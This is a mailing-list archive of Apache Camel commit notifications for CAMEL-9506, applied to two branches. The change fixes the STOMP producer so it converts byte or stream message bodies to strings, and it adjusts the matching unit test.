Branch: refs/heads/camel-2.16.x
Commit: 302c91d1a49ce8985950f7da53a034bd97951b88
Parents: 267c297
Author: Willem Jiang 
Authored: Wed Jan 13 10:20:16 2016 +0800
Committer: Willem Jiang 
Committed: Wed Jan 13 10:26:01 2016 +0800

--
 .../main/java/org/apache/camel/component/stomp/StompEndpoint.java | 3 ++-
 .../java/org/apache/camel/component/stomp/StompProducerTest.java  | 3 ++-
 2 files changed, 4 insertions(+), 2 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/302c91d1/components/camel-stomp/src/main/java/org/apache/camel/component/stomp/StompEndpoint.java
--
diff --git 
a/components/camel-stomp/src/main/java/org/apache/camel/component/stomp/StompEndpoint.java
 
b/components/camel-stomp/src/main/java/org/apache/camel/component/stomp/StompEndpoint.java
index 344169f..e7dfe91 100644
--- 
a/components/camel-stomp/src/main/java/org/apache/camel/component/stomp/StompEndpoint.java
+++ 
b/components/camel-stomp/src/main/java/org/apache/camel/component/stomp/StompEndpoint.java
@@ -131,7 +131,8 @@ public class StompEndpoint extends DefaultEndpoint {
 protected void send(final Exchange exchange, final AsyncCallback callback) 
{
 final StompFrame frame = new StompFrame(SEND);
 frame.addHeader(DESTINATION, StompFrame.encodeHeader(destination));
-frame.content(utf8(exchange.getIn().getBody().toString()));
+//Fix for CAMEL-9506 leveraging the camel converter to do the change
+frame.content(utf8(exchange.getIn().getBody(String.class)));
 
 connection.getDispatchQueue().execute(new Task() {
 @Override

http://git-wip-us.apache.org/repos/asf/camel/blob/302c91d1/components/camel-stomp/src/test/java/org/apache/camel/component/stomp/StompProducerTest.java
--
diff --git 
a/components/camel-stomp/src/test/java/org/apache/camel/component/stomp/StompProducerTest.java
 
b/components/camel-stomp/src/test/java/org/apache/camel/component/stomp/StompProducerTest.java
index a4a75f9..c87d2d1 100644
--- 
a/components/camel-stomp/src/test/java/org/apache/camel/component/stomp/StompProducerTest.java
+++ 
b/components/camel-stomp/src/test/java/org/apache/camel/component/stomp/StompProducerTest.java
@@ -57,6 +57,7 @@ public class StompProducerTest extends StompBaseTest {
 for (int i = 0; i < numberOfMessages; i++) {
 try {
 StompFrame frame = subscribeConnection.receive();
+frame.contentAsString().startsWith("test message ");
 latch.countDown();
 } catch (Exception e) {
 e.printStackTrace();
@@ -70,7 +71,7 @@ public class StompProducerTest extends StompBaseTest {
 Producer producer = context.getEndpoint("direct:foo").createProducer();
 for (int i = 0; i < numberOfMessages; i++) {
 Exchange exchange = producer.createExchange();
-exchange.getIn().setBody("test message " + i);
+exchange.getIn().setBody(("test message " + i).getBytes("UTF-8"));
 producer.process(exchange);
 }
 latch.await(20, TimeUnit.SECONDS);



camel git commit: CAMEL-9506 Fixed the issue that STOMP producer cannot handle the stream object

2016-01-13 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/camel-2.15.x d2484a4f8 -> 848815ff6


CAMEL-9506 Fixed the issue that STOMP producer cannot handle the stream object


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/848815ff
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/848815ff
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/848815ff

Branch: refs/heads/camel-2.15.x
Commit: 848815ff69389f439524255a743bc90996136379
Parents: d2484a4
Author: Willem Jiang 
Authored: Wed Jan 13 10:20:16 2016 +0800
Committer: Willem Jiang 
Committed: Thu Jan 14 08:55:41 2016 +0800

--
 .../main/java/org/apache/camel/component/stomp/StompEndpoint.java | 3 ++-
 .../java/org/apache/camel/component/stomp/StompProducerTest.java  | 3 ++-
 2 files changed, 4 insertions(+), 2 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/848815ff/components/camel-stomp/src/main/java/org/apache/camel/component/stomp/StompEndpoint.java
--
diff --git 
a/components/camel-stomp/src/main/java/org/apache/camel/component/stomp/StompEndpoint.java
 
b/components/camel-stomp/src/main/java/org/apache/camel/component/stomp/StompEndpoint.java
index 4adf20b..4baf9a5 100644
--- 
a/components/camel-stomp/src/main/java/org/apache/camel/component/stomp/StompEndpoint.java
+++ 
b/components/camel-stomp/src/main/java/org/apache/camel/component/stomp/StompEndpoint.java
@@ -131,7 +131,8 @@ public class StompEndpoint extends DefaultEndpoint {
 protected void send(final Exchange exchange, final AsyncCallback callback) 
{
 final StompFrame frame = new StompFrame(SEND);
 frame.addHeader(DESTINATION, StompFrame.encodeHeader(destination));
-frame.content(utf8(exchange.getIn().getBody().toString()));
+//Fix for CAMEL-9506 leveraging the camel converter to do the change
+frame.content(utf8(exchange.getIn().getBody(String.class)));
 
 connection.getDispatchQueue().execute(new Task() {
 @Override

http://git-wip-us.apache.org/repos/asf/camel/blob/848815ff/components/camel-stomp/src/test/java/org/apache/camel/component/stomp/StompProducerTest.java
--
diff --git 
a/components/camel-stomp/src/test/java/org/apache/camel/component/stomp/StompProducerTest.java
 
b/components/camel-stomp/src/test/java/org/apache/camel/component/stomp/StompProducerTest.java
index a4a75f9..c87d2d1 100644
--- 
a/components/camel-stomp/src/test/java/org/apache/camel/component/stomp/StompProducerTest.java
+++ 
b/components/camel-stomp/src/test/java/org/apache/camel/component/stomp/StompProducerTest.java
@@ -57,6 +57,7 @@ public class StompProducerTest extends StompBaseTest {
 for (int i = 0; i < numberOfMessages; i++) {
 try {
 StompFrame frame = subscribeConnection.receive();
+frame.contentAsString().startsWith("test message ");
 latch.countDown();
 } catch (Exception e) {
 e.printStackTrace();
@@ -70,7 +71,7 @@ public class StompProducerTest extends StompBaseTest {
 Producer producer = context.getEndpoint("direct:foo").createProducer();
 for (int i = 0; i < numberOfMessages; i++) {
 Exchange exchange = producer.createExchange();
-exchange.getIn().setBody("test message " + i);
+exchange.getIn().setBody(("test message " + i).getBytes("UTF-8"));
 producer.process(exchange);
 }
 latch.await(20, TimeUnit.SECONDS);



  1   2   3   4   5   6   7   8   9   10   >